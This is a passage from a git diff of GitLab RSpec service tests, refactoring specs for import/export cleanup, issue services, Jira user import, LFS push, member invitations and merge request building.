+ expect(Gitlab::Import::Logger).not_to receive(:new)
- files.each { |file| expect(File.exist?(file)).to eq true }
- expect(File.directory?(dir)).to eq true
+ validate_cleanup(subdir: subdir, mtime: 2.hours.ago, expected: true)
end
end
+
+ include_examples 'removes old tmp files', '@hashed'
+ include_examples 'removes old tmp files', '@groups'
end
context 'with uploader exports' do
- it 'removes old files' do
+ it 'removes old files and logs' do
upload = create(:import_export_upload,
updated_at: 2.days.ago,
export_file: fixture_file_upload('spec/fixtures/project_export.tar.gz'))
+ expect_next_instance_of(Gitlab::Import::Logger) do |logger|
+ expect(logger)
+ .to receive(:info)
+ .with(
+ message: 'Removed Import/Export export_file',
+ project_id: upload.project_id,
+ group_id: upload.group_id
+ )
+ end
+
expect { service.execute }.to change { upload.reload.export_file.file.nil? }.to(true)
+
+ expect(ImportExportUpload.where(export_file: nil)).to include(upload)
end
- it 'does not remove new files' do
+ it 'does not remove new files or logs' do
upload = create(:import_export_upload,
updated_at: 1.hour.ago,
export_file: fixture_file_upload('spec/fixtures/project_export.tar.gz'))
+ expect(Gitlab::Import::Logger).not_to receive(:new)
+
expect { service.execute }.not_to change { upload.reload.export_file.file.nil? }
+
+ expect(ImportExportUpload.where.not(export_file: nil)).to include(upload)
+ end
+ end
+
+ def validate_cleanup(subdir:, mtime:, expected:)
+ in_directory_with_files(mtime: mtime, subdir: subdir) do |dir, files|
+ service.execute
+
+ files.each { |file| expect(File.exist?(file)).to eq(expected) }
+ expect(File.directory?(dir)).to eq(expected)
end
end
- def in_directory_with_files(mtime:)
+ def in_directory_with_files(mtime:, subdir:)
Dir.mktmpdir do |tmpdir|
stub_repository_downloads_path(tmpdir)
- dir = File.join(tmpdir, tmp_import_export_folder, 'subfolder')
+ hashed = Digest::SHA2.hexdigest(subdir)
+ subdir_path = [subdir, hashed[0..1], hashed[2..3], hashed, hashed[4..10]]
+ dir = File.join(tmpdir, tmp_import_export_folder, *[subdir_path])
+
FileUtils.mkdir_p(dir)
+ File.utime(mtime.to_i, mtime.to_i, dir)
files = FileUtils.touch(file_list(dir) + [dir], mtime: mtime.to_time)
diff --git a/spec/services/issue_rebalancing_service_spec.rb b/spec/services/issue_rebalancing_service_spec.rb
index 1c7f74264b7..76ccb6d89ea 100644
--- a/spec/services/issue_rebalancing_service_spec.rb
+++ b/spec/services/issue_rebalancing_service_spec.rb
@@ -39,7 +39,7 @@ RSpec.describe IssueRebalancingService do
shared_examples 'IssueRebalancingService shared examples' do
it 'rebalances a set of issues with clumps at the end and start' do
all_issues = start_clump + unclumped + end_clump.reverse
- service = described_class.new(project.issues.first)
+ service = described_class.new(Project.id_in([project.id]))
expect { service.execute }.not_to change { issues_in_position_order.map(&:id) }
@@ -55,7 +55,7 @@ RSpec.describe IssueRebalancingService do
end
it 'is idempotent' do
- service = described_class.new(project.issues.first)
+ service = described_class.new(Project.id_in(project))
expect do
service.execute
@@ -70,17 +70,17 @@ RSpec.describe IssueRebalancingService do
issue.project.group
old_pos = issue.relative_position
- service = described_class.new(issue)
+ service = described_class.new(Project.id_in(project))
expect { service.execute }.not_to exceed_query_limit(0)
expect(old_pos).to eq(issue.reload.relative_position)
end
- it 'acts if the flag is enabled for the project' do
+ it 'acts if the flag is enabled for the root namespace' do
issue = create(:issue, project: project, author: user, relative_position: max_pos)
- stub_feature_flags(rebalance_issues: issue.project)
+ stub_feature_flags(rebalance_issues: project.root_namespace)
- service = described_class.new(issue)
+ service = described_class.new(Project.id_in(project))
expect { service.execute }.to change { issue.reload.relative_position }
end
@@ -90,23 +90,22 @@ RSpec.describe IssueRebalancingService do
project.update!(group: create(:group))
stub_feature_flags(rebalance_issues: issue.project.group)
- service = described_class.new(issue)
+ service = described_class.new(Project.id_in(project))
expect { service.execute }.to change { issue.reload.relative_position }
end
it 'aborts if there are too many issues' do
- issue = project.issues.first
base = double(count: 10_001)
- allow(Issue).to receive(:relative_positioning_query_base).with(issue).and_return(base)
+ allow(Issue).to receive(:in_projects).and_return(base)
- expect { described_class.new(issue).execute }.to raise_error(described_class::TooManyIssues)
+ expect { described_class.new(Project.id_in(project)).execute }.to raise_error(described_class::TooManyIssues)
end
end
shared_examples 'rebalancing is retried on statement timeout exceptions' do
- subject { described_class.new(project.issues.first) }
+ subject { described_class.new(Project.id_in(project)) }
it 'retries update statement' do
call_count = 0
diff --git a/spec/services/issues/close_service_spec.rb b/spec/services/issues/close_service_spec.rb
index 8950bdd465f..0b315422be8 100644
--- a/spec/services/issues/close_service_spec.rb
+++ b/spec/services/issues/close_service_spec.rb
@@ -3,50 +3,22 @@
require 'spec_helper'
RSpec.describe Issues::CloseService do
- subject(:close_issue) { described_class.new(project: project, current_user: user).close_issue(issue) }
-
- let_it_be(:project, refind: true) { create(:project, :repository) }
- let_it_be(:label1) { create(:label, project: project) }
- let_it_be(:label2) { create(:label, project: project, remove_on_close: true) }
- let_it_be(:author) { create(:user) }
- let_it_be(:user) { create(:user, email: "user@example.com") }
- let_it_be(:user2) { create(:user, email: "user2@example.com") }
- let_it_be(:guest) { create(:user) }
- let_it_be(:closing_merge_request) { create(:merge_request, source_project: project) }
-
+ let(:project) { create(:project, :repository) }
+ let(:user) { create(:user, email: "user@example.com") }
+ let(:user2) { create(:user, email: "user2@example.com") }
+ let(:guest) { create(:user) }
+ let(:issue) { create(:issue, title: "My issue", project: project, assignees: [user2], author: create(:user)) }
let(:external_issue) { ExternalIssue.new('JIRA-123', project) }
- let!(:issue) { create(:issue, title: "My issue", project: project, assignees: [user2], author: author) }
+ let(:closing_merge_request) { create(:merge_request, source_project: project) }
+ let(:closing_commit) { create(:commit, project: project) }
+ let!(:todo) { create(:todo, :assigned, user: user, project: project, target: issue, author: user2) }
- before_all do
+ before do
project.add_maintainer(user)
project.add_developer(user2)
project.add_guest(guest)
end
- shared_examples 'removes labels marked for removal from issue when closed' do
- before do
- issue.update!(label_ids: [label1.id, label2.id])
- end
-
- it 'removes labels marked for removal' do
- expect do
- close_issue
- end.to change { issue.reload.label_ids }.from(containing_exactly(label1.id, label2.id)).to(containing_exactly(label1.id))
- end
-
- it 'creates system notes for the removed labels' do
- expect do
- close_issue
- end.to change(ResourceLabelEvent, :count).by(1)
-
- expect(ResourceLabelEvent.last.slice(:action, :issue_id, :label_id)).to eq(
- 'action' => 'remove',
- 'issue_id' => issue.id,
- 'label_id' => label2.id
- )
- end
- end
-
describe '#execute' do
let(:service) { described_class.new(project: project, current_user: user) }
@@ -131,7 +103,7 @@ RSpec.describe Issues::CloseService do
end
context 'with an active external issue tracker not supporting close_issue' do
- let!(:external_issue_tracker) { create(:bugzilla_service, project: project) }
+ let!(:external_issue_tracker) { create(:bugzilla_integration, project: project) }
it 'does not close the issue on the external issue tracker' do
project.reload
@@ -149,8 +121,6 @@ RSpec.describe Issues::CloseService do
end
end
- it_behaves_like 'removes labels marked for removal from issue when closed'
-
it 'mentions closure via a merge request' do
close_issue
@@ -214,18 +184,10 @@ RSpec.describe Issues::CloseService do
end
context "closed by a commit", :sidekiq_might_not_need_inline do
- subject(:close_issue) do
+ it 'mentions closure via a commit' do
perform_enqueued_jobs do
described_class.new(project: project, current_user: user).close_issue(issue, closed_via: closing_commit)
end
- end
-
- let(:closing_commit) { create(:commit, project: project) }
-
- it_behaves_like 'removes labels marked for removal from issue when closed'
-
- it 'mentions closure via a commit' do
- close_issue
email = ActionMailer::Base.deliveries.last
@@ -237,8 +199,9 @@ RSpec.describe Issues::CloseService do
context 'when user cannot read the commit' do
it 'does not mention the commit id' do
project.project_feature.update_attribute(:repository_access_level, ProjectFeature::DISABLED)
-
- close_issue
+ perform_enqueued_jobs do
+ described_class.new(project: project, current_user: user).close_issue(issue, closed_via: closing_commit)
+ end
email = ActionMailer::Base.deliveries.last
body_text = email.body.parts.map(&:body).join(" ")
@@ -259,14 +222,12 @@ RSpec.describe Issues::CloseService do
it 'verifies the number of queries' do
recorded = ActiveRecord::QueryRecorder.new { close_issue }
- expected_queries = 32
+ expected_queries = 24
expect(recorded.count).to be <= expected_queries
expect(recorded.cached_count).to eq(0)
end
- it_behaves_like 'removes labels marked for removal from issue when closed'
-
it 'closes the issue' do
close_issue
@@ -296,8 +257,6 @@ RSpec.describe Issues::CloseService do
end
it 'marks todos as done' do
- todo = create(:todo, :assigned, user: user, project: project, target: issue, author: user2)
-
close_issue
expect(todo.reload).to be_done
@@ -362,32 +321,26 @@ RSpec.describe Issues::CloseService do
end
context 'when issue is not confidential' do
- it_behaves_like 'removes labels marked for removal from issue when closed'
-
it 'executes issue hooks' do
expect(project).to receive(:execute_hooks).with(an_instance_of(Hash), :issue_hooks)
expect(project).to receive(:execute_services).with(an_instance_of(Hash), :issue_hooks)
- close_issue
+ described_class.new(project: project, current_user: user).close_issue(issue)
end
end
context 'when issue is confidential' do
- let(:issue) { create(:issue, :confidential, project: project) }
-
- it_behaves_like 'removes labels marked for removal from issue when closed'
-
it 'executes confidential issue hooks' do
+ issue = create(:issue, :confidential, project: project)
+
expect(project).to receive(:execute_hooks).with(an_instance_of(Hash), :confidential_issue_hooks)
expect(project).to receive(:execute_services).with(an_instance_of(Hash), :confidential_issue_hooks)
- close_issue
+ described_class.new(project: project, current_user: user).close_issue(issue)
end
end
context 'internal issues disabled' do
- let!(:todo) { create(:todo, :assigned, user: user, project: project, target: issue, author: user2) }
-
before do
project.issues_enabled = false
project.save!
diff --git a/spec/services/issues/create_service_spec.rb b/spec/services/issues/create_service_spec.rb
index 9c84242d8ae..94810d6134a 100644
--- a/spec/services/issues/create_service_spec.rb
+++ b/spec/services/issues/create_service_spec.rb
@@ -18,8 +18,8 @@ RSpec.describe Issues::CreateService do
let_it_be(:labels) { create_pair(:label, project: project) }
before_all do
- project.add_maintainer(user)
- project.add_maintainer(assignee)
+ project.add_guest(user)
+ project.add_guest(assignee)
end
let(:opts) do
@@ -78,8 +78,8 @@ RSpec.describe Issues::CreateService do
opts.merge!(title: '')
end
- it 'does not create an incident label prematurely' do
- expect { subject }.not_to change(Label, :count)
+ it 'does not apply an incident label prematurely' do
+ expect { subject }.to not_change(LabelLink, :count).and not_change(Issue, :count)
end
end
end
@@ -88,15 +88,11 @@ RSpec.describe Issues::CreateService do
expect { issue }.to change { project.open_issues_count }.from(0).to(1)
end
- context 'when current user cannot admin issues in the project' do
- let_it_be(:guest) { create(:user) }
-
- before_all do
- project.add_guest(guest)
- end
+ context 'when current user cannot set issue metadata in the project' do
+ let_it_be(:non_member) { create(:user) }
- it 'filters out params that cannot be set without the :admin_issue permission' do
- issue = described_class.new(project: project, current_user: guest, params: opts).execute
+ it 'filters out params that cannot be set without the :set_issue_metadata permission' do
+ issue = described_class.new(project: project, current_user: non_member, params: opts).execute
expect(issue).to be_persisted
expect(issue.title).to eq('Awesome issue')
@@ -107,8 +103,8 @@ RSpec.describe Issues::CreateService do
expect(issue.due_date).to be_nil
end
- it 'creates confidential issues' do
- issue = described_class.new(project: project, current_user: guest, params: { confidential: true }).execute
+ it 'can create confidential issues' do
+ issue = described_class.new(project: project, current_user: non_member, params: { confidential: true }).execute
expect(issue.confidential).to be_truthy
end
diff --git a/spec/services/issues/update_service_spec.rb b/spec/services/issues/update_service_spec.rb
index 8c97dd95ced..b95d94e3784 100644
--- a/spec/services/issues/update_service_spec.rb
+++ b/spec/services/issues/update_service_spec.rb
@@ -158,6 +158,90 @@ RSpec.describe Issues::UpdateService, :mailer do
end
end
+ context 'changing issue_type' do
+ let!(:label_1) { create(:label, project: project, title: 'incident') }
+ let!(:label_2) { create(:label, project: project, title: 'missed-sla') }
+
+ before do
+ stub_licensed_features(quality_management: true)
+ end
+
+ context 'from issue to incident' do
+ it 'adds a `incident` label if one does not exist' do
+ expect { update_issue(issue_type: 'incident') }.to change(issue.labels, :count).by(1)
+ expect(issue.labels.pluck(:title)).to eq(['incident'])
+ end
+
+ context 'for an issue with multiple labels' do
+ let(:issue) { create(:incident, project: project, labels: [label_1]) }
+
+ before do
+ update_issue(issue_type: 'incident')
+ end
+
+ it 'does not add an `incident` label if one already exist' do
+ expect(issue.labels).to eq([label_1])
+ end
+ end
+
+ context 'filtering the incident label' do
+ let(:params) { { add_label_ids: [] } }
+
+ before do
+ update_issue(issue_type: 'incident')
+ end
+
+ it 'creates and add a incident label id to add_label_ids' do
+ expect(issue.label_ids).to contain_exactly(label_1.id)
+ end
+ end
+ end
+
+ context 'from incident to issue' do
+ let(:issue) { create(:incident, project: project) }
+
+ context 'for an incident with multiple labels' do
+ let(:issue) { create(:incident, project: project, labels: [label_1, label_2]) }
+
+ before do
+ update_issue(issue_type: 'issue')
+ end
+
+ it 'removes an `incident` label if one exists on the incident' do
+ expect(issue.labels).to eq([label_2])
+ end
+ end
+
+ context 'filtering the incident label' do
+ let(:issue) { create(:incident, project: project, labels: [label_1, label_2]) }
+ let(:params) { { label_ids: [label_1.id, label_2.id], remove_label_ids: [] } }
+
+ before do
+ update_issue(issue_type: 'issue')
+ end
+
+ it 'adds an incident label id to remove_label_ids for it to be removed' do
+ expect(issue.label_ids).to contain_exactly(label_2.id)
+ end
+ end
+ end
+
+ context 'from issue to restricted issue types' do
+ context 'without sufficient permissions' do
+ let(:user) { create(:user) }
+
+ before do
+ project.add_guest(user)
+ end
+
+ it 'does nothing to the labels' do
+ expect { update_issue(issue_type: 'issue') }.not_to change(issue.labels, :count)
+ expect(issue.reload.labels).to eq([])
+ end
+ end
+ end
+ end
+
it 'updates open issue counter for assignees when issue is reassigned' do
update_issue(assignee_ids: [user2.id])
@@ -225,7 +309,7 @@ RSpec.describe Issues::UpdateService, :mailer do
opts[:move_between_ids] = [issue1.id, issue2.id]
- expect(IssueRebalancingWorker).to receive(:perform_async).with(nil, project.id)
+ expect(IssueRebalancingWorker).to receive(:perform_async).with(nil, nil, project.root_namespace.id)
update_issue(opts)
expect(issue.relative_position).to be_between(issue1.relative_position, issue2.relative_position)
@@ -239,7 +323,7 @@ RSpec.describe Issues::UpdateService, :mailer do
opts[:move_between_ids] = [issue1.id, issue2.id]
- expect(IssueRebalancingWorker).to receive(:perform_async).with(nil, project.id)
+ expect(IssueRebalancingWorker).to receive(:perform_async).with(nil, nil, project.root_namespace.id)
update_issue(opts)
expect(issue.relative_position).to be_between(issue1.relative_position, issue2.relative_position)
@@ -253,7 +337,7 @@ RSpec.describe Issues::UpdateService, :mailer do
opts[:move_between_ids] = [issue1.id, issue2.id]
- expect(IssueRebalancingWorker).to receive(:perform_async).with(nil, project.id)
+ expect(IssueRebalancingWorker).to receive(:perform_async).with(nil, nil, project.root_namespace.id)
update_issue(opts)
expect(issue.relative_position).to be_between(issue1.relative_position, issue2.relative_position)
diff --git a/spec/services/issues/zoom_link_service_spec.rb b/spec/services/issues/zoom_link_service_spec.rb
index 19db892fcae..d662d9fa978 100644
--- a/spec/services/issues/zoom_link_service_spec.rb
+++ b/spec/services/issues/zoom_link_service_spec.rb
@@ -53,7 +53,10 @@ RSpec.describe Issues::ZoomLinkService do
category: 'IncidentManagement::ZoomIntegration',
action: 'add_zoom_meeting',
label: 'Issue ID',
- value: issue.id
+ value: issue.id,
+ user: user,
+ project: project,
+ namespace: project.namespace
)
end
@@ -192,7 +195,10 @@ RSpec.describe Issues::ZoomLinkService do
category: 'IncidentManagement::ZoomIntegration',
action: 'remove_zoom_meeting',
label: 'Issue ID',
- value: issue.id
+ value: issue.id,
+ user: user,
+ project: project,
+ namespace: project.namespace
)
end
end
diff --git a/spec/services/jira_import/users_importer_spec.rb b/spec/services/jira_import/users_importer_spec.rb
index c825f899f80..2e8c556d62c 100644
--- a/spec/services/jira_import/users_importer_spec.rb
+++ b/spec/services/jira_import/users_importer_spec.rb
@@ -43,39 +43,37 @@ RSpec.describe JiraImport::UsersImporter do
end
end
- RSpec.shared_examples 'maps jira users to gitlab users' do
+ RSpec.shared_examples 'maps Jira users to GitLab users' do |users_mapper_service:|
context 'when Jira import is configured correctly' do
- let_it_be(:jira_service) { create(:jira_service, project: project, active: true) }
- let(:client) { double }
+ let_it_be(:jira_service) { create(:jira_service, project: project, active: true, url: "http://jira.example.net") }
- before do
- expect(importer).to receive(:client).at_least(1).and_return(client)
- allow(client).to receive_message_chain(:ServerInfo, :all, :deploymentType).and_return(deployment_type)
- end
-
- context 'when jira client raises an error' do
+ context 'when users mapper service raises an error' do
let(:error) { Timeout::Error.new }
it 'returns an error response' do
- expect(client).to receive(:get).and_raise(error)
- expect(Gitlab::ErrorTracking).to receive(:log_exception).with(error, project_id: project.id)
+ expect_next_instance_of(users_mapper_service) do |instance|
+ expect(instance).to receive(:execute).and_raise(error)
+ end
+ expect(Gitlab::ErrorTracking).to receive(:log_exception).with(error, project_id: project.id)
expect(subject.error?).to be_truthy
expect(subject.message).to include('There was an error when communicating to Jira')
end
end
- context 'when jira client returns result' do
- context 'when jira client returns an empty array' do
- let(:jira_users) { [] }
-
+ context 'when users mapper service returns result' do
+ context 'when users mapper service returns an empty array' do
it 'returns nil payload' do
+ expect_next_instance_of(users_mapper_service) do |instance|
+ expect(instance).to receive(:execute).and_return([])
+ end
+
expect(subject.success?).to be_truthy
expect(subject.payload).to be_empty
end
end
- context 'when jira client returns an results' do
+ context 'when Jira client returns any users' do
let_it_be(:project_member) { create(:user, email: 'sample@jira.com') }
let_it_be(:group_member) { create(:user, name: 'user-name2') }
let_it_be(:other_user) { create(:user) }
@@ -86,6 +84,10 @@ RSpec.describe JiraImport::UsersImporter do
end
it 'returns the mapped users' do
+ expect_next_instance_of(users_mapper_service) do |instance|
+ expect(instance).to receive(:execute).and_return(mapped_users)
+ end
+
expect(subject.success?).to be_truthy
expect(subject.payload).to eq(mapped_users)
end
@@ -95,43 +97,23 @@ RSpec.describe JiraImport::UsersImporter do
end
context 'when Jira instance is of Server deployment type' do
- let(:deployment_type) { 'Server' }
- let(:url) { "/rest/api/2/user/search?username=''&maxResults=50&startAt=#{start_at}" }
- let(:jira_users) do
- [
- { 'key' => 'acc1', 'name' => 'user-name1', 'emailAddress' => 'sample@jira.com' },
- { 'key' => 'acc2', 'name' => 'user-name2' }
- ]
- end
-
before do
- allow_next_instance_of(JiraImport::ServerUsersMapperService) do |instance|
- allow(instance).to receive(:client).and_return(client)
- allow(client).to receive(:get).with(url).and_return(jira_users)
- end
+ allow(project).to receive(:jira_service).and_return(jira_service)
+
+ jira_service.data_fields.deployment_server!
end
- it_behaves_like 'maps jira users to gitlab users'
+ it_behaves_like 'maps Jira users to GitLab users', users_mapper_service: JiraImport::ServerUsersMapperService
end
- context 'when Jira instance is of Cloud deploymet type' do
- let(:deployment_type) { 'Cloud' }
- let(:url) { "/rest/api/2/users?maxResults=50&startAt=#{start_at}" }
- let(:jira_users) do
- [
- { 'accountId' => 'acc1', 'displayName' => 'user-name1', 'emailAddress' => 'sample@jira.com' },
- { 'accountId' => 'acc2', 'displayName' => 'user-name2' }
- ]
- end
-
+ context 'when Jira instance is of Cloud deployment type' do
before do
- allow_next_instance_of(JiraImport::CloudUsersMapperService) do |instance|
- allow(instance).to receive(:client).and_return(client)
- allow(client).to receive(:get).with(url).and_return(jira_users)
- end
+ allow(project).to receive(:jira_service).and_return(jira_service)
+
+ jira_service.data_fields.deployment_cloud!
end
- it_behaves_like 'maps jira users to gitlab users'
+ it_behaves_like 'maps Jira users to GitLab users', users_mapper_service: JiraImport::CloudUsersMapperService
end
end
end
diff --git a/spec/services/lfs/push_service_spec.rb b/spec/services/lfs/push_service_spec.rb
index 58fb2f3fb9b..e1564ca2359 100644
--- a/spec/services/lfs/push_service_spec.rb
+++ b/spec/services/lfs/push_service_spec.rb
@@ -8,13 +8,14 @@ RSpec.describe Lfs::PushService do
let_it_be(:project) { create(:forked_project_with_submodules) }
let_it_be(:remote_mirror) { create(:remote_mirror, project: project, enabled: true) }
- let_it_be(:lfs_object) { create_linked_lfs_object(project, :project) }
let(:params) { { url: remote_mirror.bare_url, credentials: remote_mirror.credentials } }
subject(:service) { described_class.new(project, nil, params) }
describe "#execute" do
+ let_it_be(:lfs_object) { create_linked_lfs_object(project, :project) }
+
it 'uploads the object when upload is requested' do
stub_lfs_batch(lfs_object)
@@ -25,14 +26,6 @@ RSpec.describe Lfs::PushService do
expect(service.execute).to eq(status: :success)
end
- it 'does nothing if there are no LFS objects' do
- lfs_object.destroy!
-
- expect(lfs_client).not_to receive(:upload!)
-
- expect(service.execute).to eq(status: :success)
- end
-
it 'does not upload the object when upload is not requested' do
stub_lfs_batch(lfs_object, upload: false)
@@ -88,6 +81,12 @@ RSpec.describe Lfs::PushService do
end
end
+ it 'does nothing if there are no LFS objects' do
+ expect(lfs_client).not_to receive(:upload!)
+
+ expect(service.execute).to eq(status: :success)
+ end
+
def create_linked_lfs_object(project, type)
create(:lfs_objects_project, project: project, repository_type: type).lfs_object
end
diff --git a/spec/services/members/create_service_spec.rb b/spec/services/members/create_service_spec.rb
index 916941e1111..ffe63a8a94b 100644
--- a/spec/services/members/create_service_spec.rb
+++ b/spec/services/members/create_service_spec.rb
@@ -8,7 +8,8 @@ RSpec.describe Members::CreateService, :aggregate_failures, :clean_gitlab_redis_
let_it_be(:member) { create(:user) }
let_it_be(:user_ids) { member.id.to_s }
let_it_be(:access_level) { Gitlab::Access::GUEST }
- let(:params) { { user_ids: user_ids, access_level: access_level } }
+ let(:additional_params) { { invite_source: '_invite_source_' } }
+ let(:params) { { user_ids: user_ids, access_level: access_level }.merge(additional_params) }
subject(:execute_service) { described_class.new(user, params.merge({ source: source })).execute }
@@ -82,4 +83,46 @@ RSpec.describe Members::CreateService, :aggregate_failures, :clean_gitlab_redis_
expect(OnboardingProgress.completed?(source.namespace, :user_added)).to be(false)
end
end
+
+ context 'when tracking the invite source', :snowplow do
+ context 'when invite_source is not passed' do
+ let(:additional_params) { {} }
+
+ it 'tracks the invite source as unknown' do
+ expect { execute_service }.to raise_error(ArgumentError, 'No invite source provided.')
+
+ expect_no_snowplow_event
+ end
+ end
+
+ context 'when invite_source is passed' do
+ it 'tracks the invite source from params' do
+ execute_service
+
+ expect_snowplow_event(
+ category: described_class.name,
+ action: 'create_member',
+ label: '_invite_source_',
+ property: 'existing_user',
+ user: user
+ )
+ end
+ end
+
+ context 'when it is a net_new_user' do
+ let(:additional_params) { { invite_source: '_invite_source_', user_ids: 'email@example.org' } }
+
+ it 'tracks the invite source from params' do
+ execute_service
+
+ expect_snowplow_event(
+ category: described_class.name,
+ action: 'create_member',
+ label: '_invite_source_',
+ property: 'net_new_user',
+ user: user
+ )
+ end
+ end
+ end
end
diff --git a/spec/services/members/invite_service_spec.rb b/spec/services/members/invite_service_spec.rb
index d7fd7d5b2ca..c530e3d0c53 100644
--- a/spec/services/members/invite_service_spec.rb
+++ b/spec/services/members/invite_service_spec.rb
@@ -3,12 +3,12 @@
require 'spec_helper'
RSpec.describe Members::InviteService, :aggregate_failures, :clean_gitlab_redis_shared_state, :sidekiq_inline do
- let_it_be(:project) { create(:project) }
+ let_it_be(:project, reload: true) { create(:project) }
let_it_be(:user) { project.owner }
let_it_be(:project_user) { create(:user) }
let_it_be(:namespace) { project.namespace }
let(:params) { {} }
- let(:base_params) { { access_level: Gitlab::Access::GUEST, source: project } }
+ let(:base_params) { { access_level: Gitlab::Access::GUEST, source: project, invite_source: '_invite_source_' } }
subject(:result) { described_class.new(user, base_params.merge(params) ).execute }
@@ -23,6 +23,18 @@ RSpec.describe Members::InviteService, :aggregate_failures, :clean_gitlab_redis_
it_behaves_like 'records an onboarding progress action', :user_added
end
+ context 'when email belongs to an existing user as a secondary email' do
+ let(:secondary_email) { create(:email, email: 'secondary@example.com', user: project_user) }
+ let(:params) { { email: secondary_email.email } }
+
+ it 'adds an existing user to members', :aggregate_failures do
+ expect_to_create_members(count: 1)
+ expect(result[:status]).to eq(:success)
+ expect(project.users).to include project_user
+ expect(project.members.last).not_to be_invite
+ end
+ end
+
context 'when email is not a valid email' do
let(:params) { { email: '_bogus_' } }
diff --git a/spec/services/merge_requests/build_service_spec.rb b/spec/services/merge_requests/build_service_spec.rb
index 5a6a9df3f44..d10f82289bd 100644
--- a/spec/services/merge_requests/build_service_spec.rb
+++ b/spec/services/merge_requests/build_service_spec.rb
@@ -251,22 +251,22 @@ RSpec.describe MergeRequests::BuildService do
end
context 'when the source branch matches an issue' do
- where(:issue_tracker, :source_branch, :closing_message) do
- :jira | 'FOO-123-fix-issue' | 'Closes FOO-123'
- :jira | 'fix-issue' | nil
- :custom_issue_tracker | '123-fix-issue' | 'Closes #123'
- :custom_issue_tracker | 'fix-issue' | nil
- :internal | '123-fix-issue' | 'Closes #123'
- :internal | 'fix-issue' | nil
+ where(:factory, :source_branch, :closing_message) do
+ :jira_service | 'FOO-123-fix-issue' | 'Closes FOO-123'
+ :jira_service | 'fix-issue' | nil
+ :custom_issue_tracker_integration | '123-fix-issue' | 'Closes #123'
+ :custom_issue_tracker_integration | 'fix-issue' | nil
+ nil | '123-fix-issue' | 'Closes #123'
+ nil | 'fix-issue' | nil
end
with_them do
before do
- if issue_tracker == :internal
- issue.update!(iid: 123)
- else
- create(:"#{issue_tracker}_service", project: project)
+ if factory
+ create(factory, project: project)
project.reload
+ else
+ issue.update!(iid: 123)
end
end
@@ -350,23 +350,23 @@ RSpec.describe MergeRequests::BuildService do
end
context 'when the source branch matches an issue' do
- where(:issue_tracker, :source_branch, :title, :closing_message) do
- :jira | 'FOO-123-fix-issue' | 'Resolve FOO-123 "Fix issue"' | 'Closes FOO-123'
- :jira | 'fix-issue' | 'Fix issue' | nil
- :custom_issue_tracker | '123-fix-issue' | 'Resolve #123 "Fix issue"' | 'Closes #123'
- :custom_issue_tracker | 'fix-issue' | 'Fix issue' | nil
- :internal | '123-fix-issue' | 'Resolve "A bug"' | 'Closes #123'
- :internal | 'fix-issue' | 'Fix issue' | nil
- :internal | '124-fix-issue' | '124 fix issue' | nil
+ where(:factory, :source_branch, :title, :closing_message) do
+ :jira_service | 'FOO-123-fix-issue' | 'Resolve FOO-123 "Fix issue"' | 'Closes FOO-123'
+ :jira_service | 'fix-issue' | 'Fix issue' | nil
+ :custom_issue_tracker_integration | '123-fix-issue' | 'Resolve #123 "Fix issue"' | 'Closes #123'
+ :custom_issue_tracker_integration | 'fix-issue' | 'Fix issue' | nil
+ nil | '123-fix-issue' | 'Resolve "A bug"' | 'Closes #123'
+ nil | 'fix-issue' | 'Fix issue' | nil
+ nil | '124-fix-issue' | '124 fix issue' | nil
end
with_them do
before do
- if issue_tracker == :internal
- issue.update!(iid: 123)
- else
- create(:"#{issue_tracker}_service", project: project)
+ if factory
+ create(factory, project: project)
project.reload
+ else
+ issue.update!(iid: 123)
end
end
@@ -399,23 +399,23 @@ RSpec.describe MergeRequests::BuildService do
end
context 'when the source branch matches an issue' do
- where(:issue_tracker, :source_branch, :title, :closing_message) do
- :jira | 'FOO-123-fix-issue' | 'Resolve FOO-123 "Fix issue"' | 'Closes FOO-123'
- :jira | 'fix-issue' | 'Fix issue' | nil
- :custom_issue_tracker | '123-fix-issue' | 'Resolve #123 "Fix issue"' | 'Closes #123'
- :custom_issue_tracker | 'fix-issue' | 'Fix issue' | nil
- :internal | '123-fix-issue' | 'Resolve "A bug"' | 'Closes #123'
- :internal | 'fix-issue' | 'Fix issue' | nil
- :internal | '124-fix-issue' | '124 fix issue' | nil
+ where(:factory, :source_branch, :title, :closing_message) do
+ :jira_service | 'FOO-123-fix-issue' | 'Resolve FOO-123 "Fix issue"' | 'Closes FOO-123'
+ :jira_service | 'fix-issue' | 'Fix issue' | nil
+ :custom_issue_tracker_integration | '123-fix-issue' | 'Resolve #123 "Fix issue"' | 'Closes #123'
+ :custom_issue_tracker_integration | 'fix-issue' | 'Fix issue' | nil
+ nil | '123-fix-issue' | 'Resolve "A bug"' | 'Closes #123'
+ nil | 'fix-issue' | 'Fix issue' | nil
+ nil | '124-fix-issue' | '124 fix issue' | nil
end
with_them do
before do
- if issue_tracker == :internal
- issue.update!(iid: 123)
- else
- create(:"#{issue_tracker}_service", project: project)
+ if factory
+ create(factory, project: project)
project.reload
+ else
+ issue.update!(iid: 123)
end
end
diff --git a/spec/services/merge_requests/create_service_spec.rb b/spec/services/merge_requests/create_service_spec.rb
index b2351ab53bd..da547716e1e 100644
--- a/spec/services/merge_requests/create_service_spec.rb
+++ b/spec/services/merge_requests/create_service_spec.rb
@@ -82,7 +82,7 @@ RSpec.describe MergeRequests::CreateService, :clean_gitlab_redis_shared_state do
let(:opts) do
{
title: 'Awesome merge_request',
- description: "well this is not done yet\n/wip",
+ description: "well this is not done yet\n/draft",
source_branch: 'feature',
target_branch: 'master',
assignees: [user2]
diff --git a/spec/services/merge_requests/handle_assignees_change_service_spec.rb b/spec/services/merge_requests/handle_assignees_change_service_spec.rb
index 0bf18f16abb..f9eed6eea2d 100644
--- a/spec/services/merge_requests/handle_assignees_change_service_spec.rb
+++ b/spec/services/merge_requests/handle_assignees_change_service_spec.rb
@@ -6,7 +6,7 @@ RSpec.describe MergeRequests::HandleAssigneesChangeService do
let_it_be(:project) { create(:project, :repository) }
let_it_be(:user) { create(:user) }
let_it_be(:assignee) { create(:user) }
- let_it_be(:merge_request) { create(:merge_request, author: user, source_project: project, assignees: [assignee]) }
+ let_it_be_with_reload(:merge_request) { create(:merge_request, author: user, source_project: project, assignees: [assignee]) }
let_it_be(:old_assignees) { create_list(:user, 3) }
let(:options) { {} }
@@ -45,13 +45,27 @@ RSpec.describe MergeRequests::HandleAssigneesChangeService do
service.execute(merge_request, old_assignees, options)
end
+ let(:note) { merge_request.notes.system.last }
+ let(:removed_note) { "unassigned #{old_assignees.map(&:to_reference).to_sentence}" }
+
+ context 'when unassigning all users' do
+ before do
+ merge_request.update!(assignee_ids: [])
+ end
+
+ it 'creates assignee note' do
+ execute
+
